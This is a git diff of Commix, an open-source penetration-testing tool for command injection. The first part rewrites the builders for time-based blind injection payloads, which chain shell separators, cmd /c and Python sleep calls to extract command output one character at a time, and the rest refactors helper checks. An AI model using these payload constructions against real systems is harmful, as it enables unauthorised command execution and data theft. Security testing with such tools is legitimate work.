settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) + else: + pass - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + else: + if separator == ";" or separator == "%0a": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + payload = (ampersand + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print $(echo $(" + cmd + "))\n\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - + payload = checks.payload_newline_fixation(payload) return payload + # eof \ No newline at end of file diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ae17d32664..94dd7ec0bd 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -17,8 +17,8 @@ import re import os import sys -import glob import json +import time import socket import random import string @@ -26,132 +26,599 @@ import gzip import zlib import traceback +import subprocess +from glob import glob +from src.utils import common +from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import simple_http_server -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode +from socket import error as SocketError +from src.core.requests import proxy +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list -if settings.IS_WINDOWS: - try: - import readline - except ImportError: - try: - import pyreadline as readline - except ImportError: - settings.READLINE_ERROR = True -else: - try: - import readline +try: + from readline import * + import readline as readline + if settings.PLATFORM == "mac": if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): import gnureadline as readline - except ImportError: +except: + try: + from pyreadline import * + import pyreadline as readline + except: + settings.READLINE_ERROR = True + +""" +Exiting +""" +def exit(): + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.execution("Ending")) + os._exit(0) + +""" +Detection of WAF/IPS protection. +""" +def check_waf(url, http_request_method): + payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) + info_msg = "Checking if the target is protected by some kind of WAF/IPS." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 1: + settings.print_data_to_stdout(settings.print_payload(payload)) + payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload + if not "?" in url: + payload = "?" + payload + else: + payload = settings.PARAMETER_DELIMITER + payload + url = url + payload + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) + else: + request = _urllib.request.Request(remove_tags(url), method=http_request_method) + headers.do_check(request) + return request, url + +""" +Check injection technique(s) status. +""" +def injection_techniques_status(): + if settings.CLASSIC_STATE != True and \ + settings.EVAL_BASED_STATE != True and \ + settings.TIME_BASED_STATE != True and \ + settings.FILE_BASED_STATE != True and \ + settings.TEMPFILE_BASED_STATE != True : + return False + else: + return True + +""" +Check for quoted values +""" +def quoted_value(value): + return '"{}"'.format(value) + +""" +Payload fixation +""" +def payload_fixation(payload): + + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) + return payload + +""" +Get response output +""" +def get_response(output): + request = _urllib.request.Request(output) + headers.do_check(request) + headers.check_http_traffic(request) + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + +""" +Check for non custom parameters. +""" +def process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM: + while True: + message = "Other non-custom parameters found." + message += " Do you want to process them too? [Y/n] > " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + settings.CUSTOM_INJECTION_MARKER = False + settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False + return + elif process in settings.CHOICE_NO: + settings.SKIP_NON_CUSTOM = True + settings.IGNORE_USER_DEFINED_POST_DATA = False + return + elif process in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(process) + pass + +""" +Process the defined injectable value +""" +def process_injectable_value(payload, data): + _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) + if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): + return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + else: + return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + +""" +Remove all injection tags from provided data +""" +def remove_tags(data): + if not data: + data = "" + return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + +""" +Process data with custom injection marker character ('*'). +""" +def process_custom_injection_data(data): + if settings.CUSTOM_INJECTION_MARKER != None and isinstance(data, str): + _ = [] + for data in data.split("\\n"): + if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: + if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: + data = remove_tags(data) + # elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + _.append(data) + data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") + + return data + +""" +Check for custom injection marker character ('*'). +""" +def custom_injection_marker_character(url, http_request_method): + _ = settings.CUSTOM_INJECTION_MARKER = False + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] + + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: + option = "'-u'" + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True + if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: + option = str(http_request_method) + " body" + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True + if not _: + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True + if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True + if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True + if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True + if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: + settings.CUSTOM_INJECTION_MARKER = True + else: + settings.CUSTOM_HEADER_INJECTION = True + return False + + if settings.CUSTOM_INJECTION_MARKER: + while True: + message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + return True + elif procced_option in settings.CHOICE_NO: + return False + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +""" +def skipping_technique(technique, injection_type, state): + if settings.VERBOSITY_LEVEL != 0 and state != True: + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Skipping of further tests. +""" +def keep_testing_others(filename, url): + if not settings.LOAD_SESSION: + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +Skipping of further command injection tests. +""" +def skip_testing(filename, url): + if not settings.LOAD_SESSION: + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + _ = " testing command injection techniques" + else: + settings.SKIP_COMMAND_INJECTIONS = False + settings.SKIP_CODE_INJECTIONS = True + _ = " further testing" + while True: + message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + settings.LOAD_SESSION = False + return + elif procced_option in settings.CHOICE_NO: + settings.SKIP_COMMAND_INJECTIONS = False + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +The available mobile user agents. +""" +def mobile_user_agents(): + menu.mobile_user_agents() + while True: + message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + mobile_user_agent = common.read_input(message, default="1", check_batch=True) try: - import gnureadline as readline - except ImportError: - settings.READLINE_ERROR = True + if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): + return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] + elif mobile_user_agent.lower() == "q": + raise SystemExit() + else: + common.invalid_option(mobile_user_agent) + pass + except ValueError: + common.invalid_option(mobile_user_agent) + pass + +""" +Run host OS command(s) when injection point is found. +""" +def alert(): + if settings.ALERT: + info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + process = subprocess.Popen(menu.options.alert, shell=True) + process.wait() + except Exception as e: + err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Check for HTTP Method +""" +def check_http_method(url): + if settings.CRAWLING: + http_request_method = settings.HTTPMETHOD.GET + elif menu.options.method: + http_request_method = menu.options.method.upper() + elif isinstance(url, str) and settings.INJECT_TAG in url: + http_request_method = settings.HTTPMETHOD.GET + else: + if settings.USER_DEFINED_POST_DATA: + http_request_method = settings.HTTPMETHOD.POST + else: + http_request_method = settings.HTTPMETHOD.GET + return http_request_method + +""" +Quit +""" +def quit(filename, url, _): + if settings.LOAD_SESSION: + logs.logs_notification(filename) + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + if _: + raise exit() + else: + raise SystemExit() + +""" +User aborted procedure +""" +def user_aborted(filename, url): + abort_msg = "User aborted procedure " + abort_msg += "during the " + assessment_phase() + abort_msg += " phase (Ctrl-C was pressed)." + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + raise exit() + +""" +Connection exceptions +""" +def connection_exceptions(err_msg): + requests.request_failed(err_msg) + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.MAX_RETRIES > 1: + time.sleep(settings.DELAY_RETRY) + if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): + warn_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.VALID_URL : + if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: + raise SystemExit() + +""" +check for not declared cookie(s) +""" +def not_declared_cookies(response): + try: + set_cookie_header = [] + for response_header in response.getheaders(): + if settings.SET_COOKIE in response_header: + _ = re.search(r'([^;]+);?', response_header[1]) + if _: + if _.group(1).split("=")[0] not in menu.options.cookie: + set_cookie_header.append(_.group(1)) + candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: + settings.DECLARED_COOKIES = True + if menu.options.cookie: + menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate + settings.DECLARED_COOKIES = False + else: + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + while True: + message = "You have not declared cookie(s), while " + message += "server wants to set its own ('" + message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) + message += "'). Do you want to use those [Y/n] > " + set_cookies = common.read_input(message, default="Y", check_batch=True) + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(set_cookies) + pass + except (AttributeError, KeyError, TypeError): + pass """ Tab Autocompleter """ def tab_autocompleter(): try: - # Tab compliter - readline.set_completer(menu.tab_completer) # MacOSX tab compliter - if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): + if 'libedit' in readline.__doc__: readline.parse_and_bind("bind ^I rl_complete") - # Unix tab compliter else: readline.parse_and_bind("tab: complete") - except AttributeError: + # Tab compliter + readline.set_completer(menu.tab_completer) + except (TypeError, AttributeError) as e: error_msg = "Failed while trying to use platform's readline library." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +Load commands from history. +""" +def load_cmd_history(): + try: + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + if os.path.exists(cli_history): + readline.read_history_file(cli_history) + except (IOError, AttributeError, UnicodeError) as e: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Save command history. """ def save_cmd_history(): try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) if os.path.exists(cli_history): + readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Load commands from history. +Testing technique (title) """ -def load_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.read_history_file(cli_history) - except (IOError, AttributeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) - -# If the value has boundaries. -def value_boundaries(value): - if not menu.options.batch: - question_msg = "It appears that the value '" + value + "' has boundaries. " - question_msg += "Do you want to inject inside? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) +def testing_technique_title(injection_type, technique): + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Injection process (percent) +""" +def injection_process(injection_type, technique, percent): + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + +""" +Percentage calculation +""" +def percentage_calculation(i, total): + percent = ((i*100)/total) + float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) + return percent, float_percent + +""" +Print percentage calculation +""" +def print_percentage(float_percent, no_result, shell): + if float(float_percent) == 100: + if no_result: + percent = settings.FAIL_STATUS + else: + percent = ".. (" + str(float_percent) + "%)" + elif shell: + percent = settings.info_msg else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + percent = ".. (" + str(float_percent) + "%)" + return percent + +""" +Get value inside boundaries. +""" +def get_value_value_inside_boundaries(value): + try: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) - elif procced_option in settings.CHOICE_NO: - pass - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + except Exception as e: pass return value -# Ignoring the anti-CSRF parameter(s). +""" +Check value inside boundaries. +""" +def value_inside_boundaries(parameter, http_request_method): + try: + if isinstance(parameter, str): + value_inside_boundaries = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter).group() + if value_inside_boundaries: + pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2] + if pcre_mod_value not in parameter: + while True: + message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries." + message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'" + message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) + break + elif modifier_check in settings.CHOICE_NO: + break + elif modifier_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(modifier_check) + pass + + value = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries).group(1) + if value: + value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) + while True: + message = "Do you want to inject the provided value '" + value + "' inside boundaries?" + message += " ('" + value + "') [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.INJECT_INSIDE_BOUNDARIES = True + parameter = parameter.replace(value_inside_boundaries, value) + break + elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + except Exception as e: + pass + + return parameter + +""" +Ignoring the anti-CSRF parameter(s). +""" def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) - return True + if not any(parameter for token in settings.TESTABLE_PARAMETERS_LIST): + if (len(parameter.split("="))) == 2: + info_msg = "Ignoring the parameter '" + parameter.split("=")[0] + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True -# Ignoring the Google analytics cookie parameter. +""" +Ignoring the Google analytics cookie parameter. +""" def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) + if (len(cookie.split("="))) == 2: + info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True +""" +Payload new line fixation +""" +def payload_newline_fixation(payload): + # New line fixation + if any([settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION]): + payload = payload.replace("\n",";") + else: + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = payload.replace("\n","%0d") + return payload + """ Fix for %0a, %0d%0a separators """ def newline_fixation(payload): payload = _urllib.parse.unquote(payload) - if "\n" in payload: + if settings.END_LINE.CR in payload: + #_ = payload.find("\r\n") + 1 + #payload = _urllib.parse.quote(payload[:_]) + payload[_:] + payload = payload.replace(settings.END_LINE.CR,"%0d") + if settings.END_LINE.LF in payload: #_ = payload.find("\n") + 1 #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\n","%0a") - if "\r" in payload: - #_ = payload.find("\r\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\r","%0d") + payload = payload.replace(settings.END_LINE.LF,"%0a") return payload """ Page enc/decoding """ def page_encoding(response, action): - _ = False - page = response.read() + try: + page = response.read() + except _http_client.IncompleteRead as err_msg: + requests.request_failed(err_msg) + page = err_msg.partial if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"): try: if response.info().get('Content-Encoding') == 'deflate': @@ -161,28 +628,28 @@ def page_encoding(response, action): data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read() settings.PAGE_COMPRESSION = True - except Exception as ex: + except Exception as e: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False + _ = False try: if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING) + return page.encode(settings.DEFAULT_CODEC, errors="replace") else: - return page.decode(settings.UNICODE_ENCODING) + return page.decode(settings.DEFAULT_CODEC, errors="replace") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True - except LookupError as err: - err_msg = "The '" + settings.DEFAULT_PAGE_ENCODING + "' is " + str(err).split(":")[0] + ". " + except (LookupError, TypeError) as err: + err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". " _ = True - except AttributeError: pass if _: err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.encoding == None] + " the option '--encoding'." - print(settings.print_critical_msg(str(err_msg))) + err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() """ @@ -202,7 +669,7 @@ def get_header(headers, key): def blocked_ip(page): if re.search(settings.BLOCKED_IP_REGEX, page): warn_msg = "It appears that you have been blocked by the target server." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential browser verification protection mechanism. @@ -215,7 +682,7 @@ def browser_verification(page): warn_msg += " (CloudFlare)." else: warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential CAPTCHA protection mechanism. @@ -230,23 +697,48 @@ def captcha_check(page): warn_msg += " (CloudFlare)." else: warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + if settings.CRAWLING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) break - + +""" +Checking the reliability of the used payload message. +""" +def check_for_false_positive_result(false_positive_warning): + info_msg = "Checking if the injection point on " + info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" + if settings.VERBOSITY_LEVEL != 0: + warn_msg = warn_msg + ".\n" + else: + warn_msg = warn_msg +", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + +""" +False positive or unexploitable injection point detected. +""" +def unexploitable_point(): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + warn_msg = "False positive or unexploitable injection point has been detected." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. """ def total_of_requests(): debug_msg = "Identified the following injection point with " debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Url decode specific chars of the provided payload. """ def url_decode(payload): rep = { - "%20": " ", + "%20": " ", "%2B": "+", "\n": "\\n" } @@ -255,80 +747,37 @@ def url_decode(payload): payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload -""" -Checking connection (resolving hostname). -""" -def check_connection(url): - hostname = _urllib.parse.urlparse(url).hostname or '' - if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): - if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): - try: - info_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_info_msg(info_msg)) - socket.getaddrinfo(hostname, 